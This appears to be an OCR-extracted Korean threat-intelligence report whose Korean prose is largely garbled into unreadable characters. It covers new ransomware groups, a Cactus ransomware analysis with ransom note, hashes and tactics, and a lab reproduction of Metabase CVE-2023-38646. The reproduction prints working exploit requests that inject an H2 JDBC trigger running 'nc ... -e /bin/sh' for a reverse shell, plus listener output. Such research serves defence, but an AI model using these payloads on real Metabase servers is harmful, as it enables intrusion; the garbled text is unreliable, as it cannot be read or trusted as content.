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Important Updates

Knight(Cyclops)

dated our (of any kind) that!!!

u3pqd.onion

Contact

infosec

New ransomware variant

STOP : .wayn, .wazp, .gayn, .gazp,
waqq, .gaqq, .miza, .mige,
kiqu, kizu, kitu, .wsaz,

Chaos : hackedbySnea575
Makop : .rajah
Phobos : .Lucky, .NURRI, .2QZ3

WSUU, .wspn, .pouu, .poaz Xorist : .PrO
Medusalocker : protect3 Snatch : .tcvjuo, .hgjzitixe,
Conti : .LOCK2023 .mynvhefutrx

Daharma : .ZOV

New ransomware & group

Cyclops, Underground, BigHead, Khronos, Architects,
BlackBerserk, BlackHunt2.0, SophosEncrypt

15

WELCOME TO
THE UNDERGROUND

Username
Password

CAPTCHA

Create your account

narmsng5vzwgezivtu2iiwwdn3dxkhotftikhowpfjuzg7p3cabeid.onion/contact/Cactus_Support

*Z&2A: Knight(Cyclops), Underground, Cactus @ go] 1F Ato]E o]u]z]
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Aoz FeA 9tk

EQST insight | 17



BlackCat(Alphy) &2 o[ golk oz EA Qe JHE HIJT o2 Windows

WinSCPrstd 5 ohERAeldel 34 WAGIEE MR Ak el FUA Hgme
7]

F82 @& A2 SFTP, FIP, S3, SCP Zeto]dE ¥ SSH? nted 7]—‘5—01 )
Nrgog, wp Bg AfolEolA wF 400000 ¥ theRE H g olist s
MojtE o) 4 glonz Felrt Waskd,

3t BlackCat(Alphv) 12 224 FAFE 7Y JdAHEHE FAL T oAHET
BANA S FHFoH 2ol giithH oA fE AR|EC] &Y EEWlth BlEo
Microsoft ©] DART(Detection and Response Team)®2} Mandiant 7} 9| AE] 26 9] HQFE €stal
Ul EFstal ofHs] HESAE FHefstH ol Jhestral S, AA"S
doststrl= AT AAol SSkA e AF 2Ft dolHel Wiet AAME AHEE
ST olofr|git. o] flok moiREY fKEF TlolEe] NS HA /&
Aol EofA APT & AlgstH ARgRol tisl AISHAl Stlish= Ho|AE F7Fsklnt. o]2gt API
Az F7100 dHoiA= Bre R vizb glov, sz ¢Ieh e AR A8 Al B AEShe
HajatEo] EolEl Qlo] /= dHelHe| didt HIde = mofRtelAl dlolE fEol gt
R 7FAIA aole &97] 9st M2 dgo=s Hel,

Play 1F& HF5] {5 AbolE| HaixtE ]A]—a}z Qlth. ProxyNotShell |, OWASSRF # |
Microsoft Exchange Server RCE FoFd #sto] thekst Lot JAE2dloz FA4S 3ot
uom, Fole HEHT 2 9 JZAHQ] Grixba € @EF &4 VSS # e ol
AlphaVSS & 22 Mz 4% ARESH| AAFHh olF &d 549 a&84e =l Wy
wdo o A HEE & Al Heol el IA FrtstaL 3L

19 WinSCP : Windows #74ol|A419] SFTP, FTP, SCP Za}o]dE
20 Malvertising : 2291 #1 AHZ s)7ste] TS £5 PHFEE S xets 7|H
2L SSH @ etdskAl 97 Aol getn WL AYY £k L2EF

22 proxyNotShell : Microsoft Exchange Server 2 043 9% &= 23-< HUA sh= ok SSRF(CVE-2022-41040)9 97
FE AP FoFA(CVE-2022-41082)& E3t oAZ a9l

jt

23 OWASSRF : Microsoft Exchange Server H3eF A% FoFd(CVE-2022-41080), 992 F& A3 FHFH(CVE-2022-41082)& &5+

AEZR3], ProxyNotSheel £+3F A& -39

2 VSS 1 Windows oA mtdolut wloje] W7 AefE wWste] o]d JEjE BA% 5 A she 7%
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m gidelo] S ZIHHA
Cactus S0 /e

Cactus+= A39 A & it o[HEHE A thAY fF AClEE

A o] TFolth F& ARIE Wt FAlo 18 9] o AHE AA
wopel 7|9gE WEeR FAE FAPAN, A=A dHAA] %
A EE 29stA] g7k AT, iAol S&te] Bash HolErt ¢
AR BE35t 715 AIstAY ntuser.dat mtdo] EAsHoFt Cactus sHAHO17F AdY=]7] wfZof
A FAET] of#PE Aor FEHHT WY o]F2 I/ Hofjat ID o FYUstA A=,
ol= AF FFA [a-z1-91{4}-[a-2z1-91{4} &2 =g J

™
)
N,
1=

Asted @5t 9)
o AV Ak S
g olgt tay
Fastso] glol AWE 2

i r°l‘ r[r

re,
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infosec

Cactus Ransomware

-~

UHE F|(QIXHE RSA-40962 2 YUs3tT 5, ST 7|2 AES-2562 Esl THY =3}

AES-256-CBC

. Encryption a‘
= p, =
File EncPflpted
ile
g2zl 7/
) Q
-i argument RUESEERES
~
bl o< | i ] sy T ink |
[ ctsO ] cts1 | _msi Jf bat |

get Yy

I
0

HYLE

=HE A

-

-

oY 37| 7.74MB O| & : miUE EF 37|l EELE L& F, 7HEH2E 160kB ¥=35}
oty 37| 7.74MB 0|o}: ot TH| E=5t

Lo malolEl z+
I [EE]] o LU “ #22 4=t
o3} S
o =
e [[rumane| swos
E cAcTuS.readme.ixt - Notepad = O X
File Edit View &

Your systems were accessed and encrypted by Cactus.

To recover your files and prevent data disclosure

contact us via email: cactus787835@proton.me

Your unique ID reference:

Backup contact TOX (https://tox.chat/):
7367B422CD7498D5F2AAF33F58F67A332F8520CF0279A5FBB4611ED

Ln 4, Col 96 100% Windows (CRLF) UTF-8

cAcTuS.readme.txt

cts0, cts1
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Cactus o] A=Y AfF 2
Discovery
A2ag Y23 AT WA, o
=do 2 < HEHEE
7 AR Hy, = H B
AY HY =

Defense Evasion

QHE|HFO|B{A AT E9)0] H|A,
d900f Hio|L2| LS5}

_T'IOZT.OOZ

|

Leteral Movement

RDP AHE,
SSH Y{=0f AL,
5P 0|3 =7 WS

Initial Access

Persistence

[ 11136

Credential Access

Exfiltration

T1567.002

infosec

Fortinet VPN F 2fd 28

H HER2H XHFB,
Oos Xt# 5% gz

gotec AER|X|2
33 dioje g8

Cactus A flol+= Fortinet VPN o] FoFd& o] &dlf AlAago] & &, SSH ¥Wirof=z 2]&2Q]
ANAE FHIT SoftPerfect ® A7fHR WH TAEE Mot ZHAZ]|al, PowerShell
Windows ©[HlEE Fd ZAECQL A HIAHES mefsh=dl, ozt &F2 HAE wdz
2=t thoFst T e ARRG] Wrolo] AHAL §A5H, msiexec® 2 CHEHPo|HAE AASH
T A 29 g3stn @S ASAIth =o Agte] AR RDPI9} Super Ops®E 0|43t
£W ol 4% ¥, Rcone”& & HolElE MEGA 2@ AH= HAFeirh wpxHtor,
PowerShell & AR&sto]l #AdOlE HiZsk 7-Zip 02 HolREE FESH] AAEE
oot

2 SoftPerfect : Al2"o] H&ET 4= Qx| Flotal A 7Fsd ZES AfsHE BT

% msiexec : Windows o4 MSI 3712 &
2 RDP: ATEES YA g 2
28 Super Ops : Splashtop, Teamviewer 9} Z+

2 Relone : 229E AEZA A HogZ

AAsAY BeElshs =7

i
e
iy

ot

rr
il
)
|

A\_E_—TL

H %

B ol 2elolAl sl BT
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infosec

4. A1AFY £ T MEGA MH E H|o|E| &

5. #d%of Hj=

3. AnyDesk2 AN A
1. #HAFYS 8ot 27| HE 2. 5€ HENI Y SAE EHY

Cactus #AH A 54 AU e

Cactus A9 54 B4 F shhs 383247F 27 AFE o F, ASFHo= AAH/
HA|AGE7] fIoiA] SSH WEolE HA|sh= AR AIASH. o] FYUtt YEA thdof =
HE ZAEE AEA717] 9ol SoftPerfect EYA A7HHE Fol WH B3 attth oo
PowerShell @& olE AdYste] TAEE Ydstyl, Windows Security 4624 o[HIE® 21018 F3
AHEAE Al AMste] & 7Heet AHEIQIA] ERIshks Adde dsith ozt 9o V52
Aol TAE A|AHS] HIAE mpdw A

A Mozt Al AE diHSto] ofe WAer X&EAE FAISh=t] Cobalt Strike’ vt
TE2A] =491 Chisel®, @"%ﬂ AA HAM| A EFQ1 Splashtop®, AnyDesk* e} -2 LAE ARE-o}o]
A A A" AN AR, 183l WA msiexec & E-85F0] otEHo|E| A AL EYOlE A|ASH=

Hx 232HEES APt

30 Windows Security 4624 o[HlE : AlAglo] HRog 2lLdles RE AL 7=

31 Cobalt Strike : A4 A% BI2E &7

32 Chisel : C2 B41& Ao 71 ATYE 5 =15 o] AAHoR 7o g%
3 Splashtop © 97 HALE 2XEY0] W UA MY ALE]

% AnyDesk : 97 H22E 2BEIZ, 94 Ao ¥ Y A%, VPN 59 715 AF
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E4 BrE0] QLG F elulolels ALEGelE JFHOZ AALD H, FEAD A3
F9e At g Heke Aol SHshL A 45 9o LSASS® Flmel S Wn gk 2AD
A7 5 Fol %S BHE /AT G AT RDP, Super Ops o 2L ¥4 pe =78
ARgte] e BHTe et

+ 7% Hlo[elE Rclone 3 &2 2Rl =45 Fdl MEGA ZHeE MW=z A&
AA Eol et HelH7h fEHL & Ae A% FAAE BlackBasta IFNAE AR
AFEStE PowerShell 23 HEE Fof #dlole] wlxE AFsfstal vtojuz] Ada s 7-
Zip 02 HPo|REE FET Ua ALHS el

35 LSASS : Windows A28 474152 2191S A HY9Hs AAS Bejels ZaAhA
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Cactus #4dHo] AHYA GAE -3¢t
infosec

Initial Access

ZEH0] S A2HE

B

Discovery i HHez goo|E
zaiE gob EAE Agstel o BEELIS
3
T Ed A FlleElE Persistence
=

AFZ X Aol CHEEA] Q1T X E,
Y Yol AEEE AP H2EX|

Defense Evasion 2EEE dH A Hof Y wEE +y
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oromol 2xef B .
msiexec AE Ol¥S 28l HE . Credential Access
A 2 S WA T

|

LSASS 25 74 E4SHASR),

Leteral Movement o 2EtXo AASE M A

=T P2 ROP U ssH | 2Y3L,
et BL ooty o3 HE,

SMB Z2 atd 3§ EM HE na Exfiltration
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g YEYT BN B AY

]
R “
g A4 Aoz fAShE Aol skl weF 271 AR WA A" Agel] e
= 7\34&16]'1] —-;'\—6]—53 AL Aske -

— H
ot Aot WEly 58 f3lshs Wioto] Wasit,

ESH Cactus BAA7T msiexec & ¢F-85to] QtE[HIO|H A AT EYO]E A AU, Cobalt Strike
T ol AtaofA o] WHNE AZEQOE AMEStE AS st did EAE Agshs
A npglsta, Hgh Aol LS Fes A Hete] v 7o stk A AA S
Hepezjo| A4S AHAIskal, OS 244 5% 2o 73 RIHsHA oF-8oh= LSASS ke g
oi5l7] el Windows10 of A5 e 8% ASR*(Attack Surface Reduction) T+21-& &4 3s}s}o]
LSASS & E3stn A4 FY =82 oFsior 3tk RDP ¢ SSH = ARgsHA &2 Al
HZ/d3ofjoF okar, whof ARgsfof & Aol oA 1F5S SOl FAATE dA AsHA

21 E solo} gt
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AETA R HE5lo] £of ¥

> 32 A

EQST insight | 24



l—ll Indicator Of Compromise H\

[a-z1-9]{4}-[a-z1-9]{4}.exe : SHA256

509A533ADE43406EB50FA9CB8984B2E10D008ADOEA8C22D0652F3EET101125BB7
D7429C7ECEA552403D8E9B420578F954F5BF5407996AFAA36DB723A0C070C4DE
78C16DE9FCO7F1D0375A093903F86583A4E32037A7DA8AA2F90ECB15C4862C17
C52AD663FF29E146DE6B7B20D834304202DE7120E93A93DETDE1CB1D56190BFD
69B6B447CE63C98ACCI569FDCC3780CEDTE22EBDS0C5CADIEETEA7A4D42E62CC
0933F23C466188E0A7C6FAB661BDB8487CF7028C5CECS557EFB75FDE9879A6AF8
9EC6D3BC07743D96B723174379620DD56C167C58ATE04DBFB7A392319647441A

&

File Name

ntuser.dat : Configuration File
[a-z1-9){4}-[a-z1-9]{4}.exe : Binary of Cactus Ransomware
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URL : https://www.sangfor.com/farsight—labs—threat—intelligence/cybersecurity/analysis—of—cactus—

ransomware

URL : https://www kroll.com/en/insights/publications/cyber/cactus—ransomware—prickly—new—variant—

evades—detection
URL : https://thehackernews.com/2023/07/blackcat—operators—distributing.html

URL : https://www.bleepingcomputer.com/news/security/blackcat—ransomware—pushes—cobalt—strike—via—

winscp—search—ads/
URL : https://thehackernews.com/2023/07/redenergy—stealer—as—ransomware—threat.html

URL : https://www.bleepingcomputer.com/news/security/ransomware—affiliates—triple—extortion—and—the—

dark—web—ecosystem/
URL : https://thehackernews.com/2023/07/beware—of—big—head-ransomware—spreading.html
URL : https://www.securityweek.com/blacklotus—uefi—bootkit—source—code—leaked—on—github/

URL : https://www.bleepingcomputer.com/news/security/meet—noescape—avaddon-ransomware—gangs—

likely—successor/
URL : https://symantec—enterprise—blogs.security.com/blogs/threat—intelligence/syssphinx—fin8—backdoor

URL : https://www.bleepingcomputer.com/news/security/cybersecurity—firm—sophos—impersonated—by—

new—sophosencrypt—ransomware/

URL : https://www.bleepingcomputer.com/news/security/est—e—lauder—beauty—giant—breached—by—two—

ransomware—gangs/

URL : https://www.bleepingcomputer.com/news/security/clop—gang—to—earn—over—75-million—from—

moveit—extortion—attacks/

URL : https://thecyberexpress.com/nobit—raas—new—generation—ransomware—builder/
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Research & Technique

Metabase H2 JDBC ¥4 JHE 2t856t Pre-Auth RCE F ™
(CVE-2023-38646)
R

2023 @ 7 ¥, 4% DB &9 HEE Aot AZtglsto] ArgatolA QIAtOIEE AlEdh=
QE A~ HAYA QEZAABD =9 HER o] A(Metabase)ol Al €7 FE AdY FHoFHo|
dAh o] FHoFde Hx A Aout AHEEE DB 912 3l API o HT Ao v|E3 g
APL & AFgsl7] flet Bl A keEsle o= AR o8 85t s474= <l
AAE AXA G, H2Y JDBC*E o143 94 IE= dgom 4 I5sU 38 PRE
gHe £ o] Fo|7t "asitt CVSS Hek: 9.8 H o7 Hrs

Metabase ©] Favicon.io T} FA|ZFE ©]435FH Shodan I+ 7S OSINT AM olZoA A
AFEEAL Q= Instance ¥ & BIE 4 Stk 8 @ 7 & 7]F Shodan = o]&sf AA A,
AAANA SF 19,581 719] Metabase 2 o]} A7} ZAjete Ao @ Lehton], Zijoals
oF 80 7 o]Are] 7]9lo] Metabase = AME3SIT Q= Aoz solzith Zokst WA Metabase =
ARESERL ot A HHdor ddo|E sfof $tty. E7tuSHAl HHlolEVE ol#e e, ST
Fopdol HshA Role® o-gste Zo| "asit,

lr
:|:‘4

Shodan Report IR e Total: 19,581

// GENERAL

@ Countries

United States

nnnnn

*Z4: Shodan Report

% 1. Foket A @A Azt

Y H2: Java & A At 9 dlolewlol s pa] Aad,
38 JDBC(Java Database Connectivity): Java 9|4 dlo]E]#]o]~o] AT SQL Hals Adsr] g+ XF APL

3 Instance: EYH o7 AYPH= A AL} Au|AS olulgl
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CVE-2023-38646 FoFd mjx|7} H-8H HHo2, ofeff & o] HZH ] Metabase &

S/W 72 B
Metabase Enterprise 1.46.6.1
Metabase Enterprise 1.45.4.1
Metabase Enterprise 1.44.7.1
Metabase Metabase Enterprise 1.43.7.2
Metabase open source 0.46.6.1
Metabase open source 0.45.4.1
Metabase open source 0.44.7.1

Metabase open source 0.43.7.2

m 2 ALl

CVE-2023-38646 #°Fa& o187 34 Atelets tewn 2.

infosec
©) #2kst M EAY

1 SR
[ L :

1
©) CVE-2023-38646 217 3= A% —m I !
" = , ' Gl Ol
Y/ 4 I
B N N
- 1
©) Mt Hlof 3t =4 = | I OO
' N S
Metabase B K
1 |
[ Datab. !

______  OpsmzusmsemeEM | N

a9 2. 34 AL

® SAXt= Shodan 52| OSINT &AM TS S F A4S Metabase MHE FHY
@ 3ZAXtE CVE-2023-38646 F U™ S 0|8SH0] HshXt AH{o] T2

® 3AXE ¥ HY MHMS S Reverse Shell A msxte] MHE Tt

@ 34Xz HlsiAtel Hio|EHo|A0 H25t 58 YEE A
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37 e
T23to] CVE-2023-38646 9] 52 71748 Altwj o},
e

H HAE g S
HAE 22
o|&
Ubuntu 20.04.6 LTS focal
Docker version 24.0.5, build ced0996
Metabase:v0.46.6
Alpine Linux v3.18

(192.168.102.65)

o| s X}
Ubuntu 20.04.6 LTS focal
Burp Suite Community Edition v2023.7.1
2%}
Ncat: Version 7.80
(92.168.102.54)

EQST insight | 29




B o H2E
Step 1. 274 4

) m&jaF PC o] CVE-2023-38646 FHeFHo] A s}= Metabase 0.46.6 HA O] AHE FL=3I}

$ docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
CELVE  8M: detach ZEE BRI EE docker & AMIA|F = SM

-p &4 local ZE2} docker Of|A HdY ZEES X|Hdt= S

root@test-virtual-machine:~# docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Unable to find image 'metabase/metabase:v0.46.6' locally
Pulling from metabase/metabase
31e352740F53: Pull complete
8aadc9aaa732: Pull complete
16832ade6690: Pull complete

244Ff7477514: Pull complete

b35f@3987142: Pull complete

de28ea45b691: Pull complete

Digest: sha256:e35de273692f7d95c54225abbd837a7b594e44ad42a47d8ae750293825215273
Status: Downloaded newer image for metabase/metabase:v0.46.6
7f5f45bd1023e1c30e779453007fa565f30370c009dafb61392b99e47004802e

1% 3. Docker image & 5% &7 +=

2) Metabase A% W z7|3} &k 5 /api/session/properties R4 Z7]13}o] AHEE setup—
token #< L 4 Aok
Request | Response - =n
Raw Hex \n =

|1 GET /api/session/properties |[HTTP/1.1

2Host: 192.168.102.65:3000

3 Cache—Control: max—age=0

4 Upgrade-|nsecure-Requests: 1

5User-Agent: Mozilla/5.0

6 Accept :
text/html ,application/xhtml+xml|,application/xml:q=0.9, image/avif, image/webp, image/apng,
*/+,0=0.8,appl icat ion/signed-exchange;v=b3;g=0.7

7 Accept-Encoding: gzip, deflate

8 Accept-Language: ko—KR,ko:g=0.9,en-US:g=0.8,en:;g=0.7

9 Cookie: _ga=GA1.1.238272394.1691048558; metabase.DEVICE=
2a00a218-f4c1-4a9b—-8d0e-985ee5d99e0b

10 1 f-Modified-Since: Mon, 14 Aug 2023 05:44:30 GMT

11 Connection: close

Request Response

m =
5 M
1 u

Pretty Raw ﬁer_ / e
"lsetup-token" : "04d96839-9289-462b-af fe-b3e5cb0a19b3" |
"application—colors":{
'
"enable-audit-app?':false,
"anon-tracking-enabled" : false,
"version-info-last-checked" :"2023-08-11T06:15:00.306147Z" ,

d84, 9 U 2738 EZ &
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3) AR /api/setup/validate N=IQJE] Het & H2 JDBC CIY= S3ll Metabase AH ]
Reverse Shell 2 o1Zs}o] Av AsHS =T 5= gt

Request  Response - =|:|
Pretty Raw Hex \n =

I[POST /api/setup/validate HTTP/ 1.1}
2 Host: 192.168.102.54:3000

3 Accept: application/json

4 Content-Type: application/json

5 User—Agent: Mozilla/5.0

b Connection: close

7 Content-Length: 520

8
94
10 "token":"04d96839-9289-462b-af fe-b3ebchb0a19b3" ,
11 "details":{
12 "Is_on_demand":false,
13 "is_full_sync":false,
14 "is_sample":false,
15 "cache_tt!":null,
16 "refingerprint":false,
17 "auto_run_queries":true,
18 "schedules":{
19 I
20 "details":{
2-] IIdeI :
"mem: test . AUTO_RECONNEGT =1 RUEWW, CREATE TRIGGER EQSTLAB BEFORE SELEGT ON [NFORMAT ION_
SCHEMA . TABLES AS $3//javascriptiinjava.lang.Runtime.getRuntime().exec( 'nc 182.168.102
.54 1234 —e [bin/sh' )#n$$——=f; ",
22 "advanced-options"true,
23 "ss|":true
24 I
25 "name":"test",
26 "engine":"n2"
27
28 1
Request | Response w. n
Pretty  Raw  Hex Render = \n =
174
"message":

"Error creating or initializing trigger #'EQSTLAB#" object, class #". .source..W", cause:
#"org.h2.message.DbException: Syntax error in SOL statement #"#"//javascr iptififff000a]av
a.lang.Runtime.getRuntime().exec( 'nc 192.168.102.54 1234 —e /bin/sh' )#H000a %" [42000
-212]%": see root cause for details: SQGL statement :#nSET AUTO_RECONNECT TRUE [90043-212]

—

% 5. JDBC ¥73& 5519 Reverse Shell 92 A=

40" CI (Command Injection): Zokat o Za|A|o]4<

Bl ZAE OS oA AlAH]
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:~$ ncat -lvp 1234
: Version 7.80 ( https://nmap.org/ncat )
: Listening on :::1234
: Listening on 0.0.0.0:1234
: Connection from 192.168.102.65.
: Connection from 192.168.102.65:39047.

119 6. Reverse Shell & £3F A9 4 d=
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B YA 24

=

]

Step 1) FFH e

Aol7k EABA Sk

CVE-2023-38646 FoFd2 FoFst #{H 9] Metabase Ax] &, ®#HIL o] HL
= dgofA ARt setup—token
EQl

/api/session/properties 4] setup—token' & E5 4= 9

[e)

A =

ol-gst FHzx A Awt DB 2 e dsk= APl =22 /api/setup/validate &

=Y 4 3leH, o] ARE Fof H2 =go]He] JDBC Command Injection FoFH-& ©}-85to]
SAE OS oA '474 FT A3 9 Reverse Shell? & 53 & 9l

Step 2) AAl B4

/setup/validate AN=3E Metabase A= Al Bzt AAo] gl AHo|A DB %7 AHL
=

IEE
stz Qs 2 HAEE st deE gith o] A=Rs Hkol #gt
%7 B ASEA] &2 AFHEAT} setup—token TroZ HELE 4 Qo %
M=Z8 DB 92 Alolli= /database/validate API 7} AFE-E|T, o] Wi+= check—superuser & &3t ASH
AZol EAt.

(api/defendpoint-schema POST "/validate"
"Validate that we can connect to a database given a set of details.”
HES {:keys [engine details]} :details, token :token} :body

token SetupToken setup-token WS

engine DBEngineString
engine keyword engine
error-or-nil (api.database/test-database-connection engine details

error-or-nil DB test-connection

snowplow/track-event! ::snowplow/database-connection-failed

{:database engine, :source :setup}
:status 4ee

:body error-or-nil

(api/defendpoint-schema POST "/validate"
"Validate that we can connect to a database given a set of details

:as {:keys [engine details]} :details} :body
engine DBEngineString
details su/Map
api/check-superuser
details-or-error [(test-connection-details engine details
:valid (not (false? (:valid details-or-error)) )

3% 7. validate |4 2] #EH HF =po]

! setup-token: w|ERHo]2 27] A4 AN DB A8 HYG Al AHEEE U4 token 0B, o] gaE Foli= ApAE|ofoF .

2 Reverse Shell: 4% 42 Jujstel, mMejart FAA Bow 4L As] W) Hajy FolA FahEo] Hgso] et
QF& fAsRE 719 F S,
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setup—token -2 /api/session/properties o4 5T 4 low 53t setup—token FH YH

m/fH~E 7123 DB F84d HAPE 7Fsoith. webA setup—token kE2 AZRE mofE UY
St AGHE fTT 5 W] o] HE A F ZA| AAsker Tk,
(defsetting |setup-token

“"A token used to signify that an instance has permissions to create the initial User.
This is created upon the first launch of Metabase

by the first instance; once used, it is cleared out, never to be used again."
:visibility :public
:setter :none)

1% 8. setup—token & Metabase AX] A] 7|[2& 02 public 02 A= &

[setup—tokeni "04d96839-9289-462b-affe-b3e5ch0al9b3"
application-colors: {}
enable-audit-app?: false
anon-tracking-enabled: false
version-info-last-checked: "2023-08-10T06:15:00.4619162"
application-logo-url: "app/assets/img/logo.svg"
application-favicon-url: "app/assets/img/favicon.ico"

1% 9. /api/session/properties o4 k&%= setup—token
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/api/setup/validate ©] setup—token = A4S F, dloly AZ HAE 9t EAFES “db” Wl
ofolAQl F=F XA RCE 342 A= & vt

"token": "04d96839-9289-462b-affe-b3e5cb0alob3",
"details": {

"is on_demand":

"is full sync"

"is sample":

"cache_ttl":

"refingerprint":

"auto_run_queries™

"schedules": {},

"details": {

"db": "mem:test;AUTO_RECONNECT=TRUE\\; CREATE TRIGGER EQSTLAB BEFORE SELECT ON
INFORMATION SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('nc 192.168.0.18 1234 -e /bin/sh')
$$--=x; ",

"advanced-options"

ssl":

}s

"name": "test",
"engine": "h2"

19 10. RCE 42 95 AH8d #Holz=

Metabase oAl Z|¢ot= H2 = 942 EAL] Java ZEH SQL & YU 4= Ut 322= 9442
BA9-& Z2&510] TRIGGER® E= ALIASYE AJASHY] Java MAEE 35 4 Qo)

43 TRIGGER: DML @4HSELECT, INSERT, UPDATE, DELETE)o] &g o Aoz A5 I=2 HAst7] ) A3l

“ALIAS: HolE T A9 0|39 YAE Rojsls T2 o|F(8X) R & 5 HEsH] wEY] 98] A4
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TRIGGER

g 2 DB O|#IE(INSERT, UPDATE S)0f Ht23l0] | ®Ae Mosta sqQL Hz2| LAl Java
D o HME = HAME &=
= \ DB O|HIE &M Al Xt& ZE YAHCRE E
CREATE TRIGGER ... BEFORE SELECT ON
Ol Al CREATE ALIAS MY_FUNC FOR ...;
INFORMATION_SCHEMA.TABLES ...;

1. Ho|2E Y TRIGGER 9} ALIAS o] A=

nt2tole gk
mem:test:
AUTO_RECONNECT=TRUE
WA
CREATE TRIGGER EQSTLAB BEFORE
SELECT ON
INFORMATION_SCHEMA .TABLES

AS $$//.... $$--=x¥:;:

java.lang.Runtime.getRuntime().exec('nc
192.168.0.18 1234 -e /bin/sh’)

M

==}
H2 CIO|EH|O|AE 22| REZ
H2 JDBC ¥Z EXtg =M

JSON {0l /" EXFE Escape X2

"EQSTLAB" O|2t= O|E9| E2|HE
INFORMATION_SCHEMA.TABLES Ol A{ SELECT

Mo EY AM(Java Method BE)S THSI=S

dd5ta,

LH 82 Escape E.

AS O|F Java ZEE o + JACH, $$ LHFO

Java 2| Runtime 222 E AtE31G

1234 ZEZ Reverse Shell ¢14

07| M= nc (Netcat) =TS AFE3I0 192.168.0.18 FTA9|

2. Hol2E BN Yy §
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H2 += Java @} Javascript, Ruby & ©o|&dl §4& 4 4 Ut H2 9 £AAFEE HWH
isJavaxScriptSource MAE=7} E2fgit), o] &=

I3 H, isJavascriptSourceQoll Tiote] true & WHFItCE

boolean isJavaxScriptSource(String source) {
return isJavascriptSource(source)| || isRubySource(source);

19 11. connection—string source 2] 0] &<l

isJavascriptSource WA Ex I source 7} //javascript 2 A|Z}oR=A] 2HQIgHCE

boolean isJavascriptSource(String source) {
return source.startsWith/(prefix:"//javascript”);

a3 12. prefix & F3l source 7} "//javascript” 2 A|&Sh=A] &9l

0|3 T Eot= getCompiledScript & 39l eval)& ©]8ste] Eg|A FE& AJsiry,

Trigger loadFromSource() {
SourceCompiler compiler = database.getCompiler();
compiler
String fullClassName = Constants.USER_PACKAGE + ".trigger." +
getName();
compiler.setSource(fullClassName, triggerSource);
try {
if (SourceCompiler.isJavaxScriptSource(triggerSource)) {
return (Trigger) compiler.getCompiledScript
fullClassName).eval();
1
Method m = compiler.getMethod(fullClassName);
if (m.getParameterTypes().length > ©
throw new IllegalStateException(s:"No parameters
are allowed for a trigger");

return (Trigger) m.invoke(obj:

a9 13. “isJavaxScriptSource” true ¥t A] getCompiledScript &
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H2 o= 7123%t2=2 Graal]SScriptEngine 2] allowHostAccess, allowHostClassLookup true =
AdAs]o] Qlo] Javascript @ Java TEFES o]&etth o2 <F AT HHE FAst= Java

HAEE Javascript 2 $&8 4 A Hot

CompiledScript getCompiledScript(String packageAndClassName)
ScriptException {
CompiledScript compiledScript = compiledScripts.get
packageAndClassName);
if (compiledScript ==
String source = sources.get(packageAndClassName);
String lang;

if (isJavascriptSource(source)) { SCHptsource7PJS§E
lang = "javascript”; ZHM E| 7401 X| EHO

} else if (isRubySource(source)) {
lang = "ruby";

} else {
throw new IllegalStateException("Unknown language for
source);

+

'jsEngine’ & AM-&E5t0 H0|2E 4%

ScriptEngine jsEngine = new ScriptEngineManager().

getEngineByName(lang);

if (jsEngine.getClass().getName().equals(
anObject:"com.oracle.truffle.js.scriptengine.
GraalJlSScriptEngine™)) {
Bindings bindings = jsEngine.getBindings(ScriptContext.
ENGINE_SCOPE);
bindings.put(name:"polyglot.js.allowHostAccess",
value: )3
bindings.put(name:"polyglot.js.allowHostClassLookup”,

Predicate<String>) s Nk

}

compiledScript = ((Compilable) jsEngine).compile(source);

compiledScripts.put(packageAndClassName, compiledScript);

return compiledScript;

a9 14. JavaScript ZE WolA Java HIME & 75
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TRIGGER ¥ “ABC” #h= Java WAEE $&91, Runtime.getRuntime().exec(cmd)E AHg-51od
OS BFd< Ayt AT sz} MHof JDK 7} Ax o] A ¢fot H2 7} Javac & &2

= = R= T
o] AntdE #qT o gloh. wWEbA, JDKE ARESHA] @ $-3]5te] 3-A43517] 98l Javascript&

Request | Response e n
Pretty Raw Hex \n =

20 "details":{ -

2-] Ildbll : ' Java mIA1E 2%

"mem:test: AUTO_RECONNECT=TRUEHH®  CREATE TRIGGER EQSTLAB BEFORE SELECT OM INF
ORMAT | ON_SCHEMA . TABLES AS 3$String abc(String cmd) {java.lang.Runtime.getRu
ntime().exec(cmd) }|CALL ABCf 'nc 192.168.102.54 1234 —-e /bin/sh')3$$——=aftl; "

22 "advanced-options":true,
23 "ssl":true
m =
Request = Response n
Pretty Raw Hex Render =1 \n =
17 { ZIElQl © B HhAl
||messagen: Java =J'L|-E T E o

"Error creating or initializing trigger W'EQSTLABW" object, class W"..source. .#
" cause: #'org.h?.message.DbException: 10 Exception: #'#"java.io.|OException:
|Cannot run program #W'W'W'w" javach "W "w'%": error=2, No such file or directoryW"W]

" 190028-212#": see root cause for details: SOL statement:#WnSET AUTO_RECONNECT
TRUE [90043-212]"

1
]

%Y 15. Java A3 A
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o3k 7ol Javascript & ©]-85t9] Java WAL= S& Al A =
Request Response - n
Pretty Raw Hex \n =
20 "details":{ . -
o1 et Javascript £ Java JIME B &
"mem:test; AUTO_RECONNECT=TRUEW® : CREATE TRIGGER EQSTLAB BEFORE SELECT ON |NF
ORMAT | ON_SCHEMA . TABLES AS $$//javascriptﬁnjava.Iang.Huntime.getHuntime()lex

ec('nc 192.168.102.54 1234 —e /bin/sh’ JWn3I—=xWW. ",

27 "advanced-options":true,
23 "ssl"itrue
m =
Request = Response n
Pretty Raw Hex Render =1 \n =
=1 =1
T4 €3

174
"message":

"Error creating or initializing trigger W'EQSTLAB#" object, class #"..source. .#
", cause: W'org.h2.message.DbException: Syntax error in SQL statement ®'#"//jav
ascript#W0o00ajava. lang.Puntime.getRuntime() .exec( 'nc 192.168.102.54 1234 -e /
bin/sh')W000a"#" [42000-212]%": see root cause for details: SQL statement :#

nSET AUTO_RECONNECT TRUE [90043-212]"

—

5% 99 38 43

9 16. Javascript &
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Ho|m=oflA "Wnsb-—=WW;"et o] P2 HHFA god vad @2 eR/VF SHE
/src/metabase/driver/h2.clj €] “connection—string—)file+option”

HolBE wHshe =AoA o2zt S| miZelth

ol

3t 4 connection—string 2]

Request Response

Pretty Raw Hex \n =
20 "details":{
21 "dp":

"mem:test:AUTO_RECONNECT=TRUEWW: CREATE TRIGGER EQSTLAB BEFORE SELECT ON [INF
ORMAT | ON_SCHEMA . TABLES AS $$//javascriptiinjava.lang.Runtime.getRuntime().ex
ec('nc 192.168.102.54 1234 -e f"bim"sh'lwn-$$ww2|”,

22 "advanced-options":true,
23 "ssl":true
24 I,

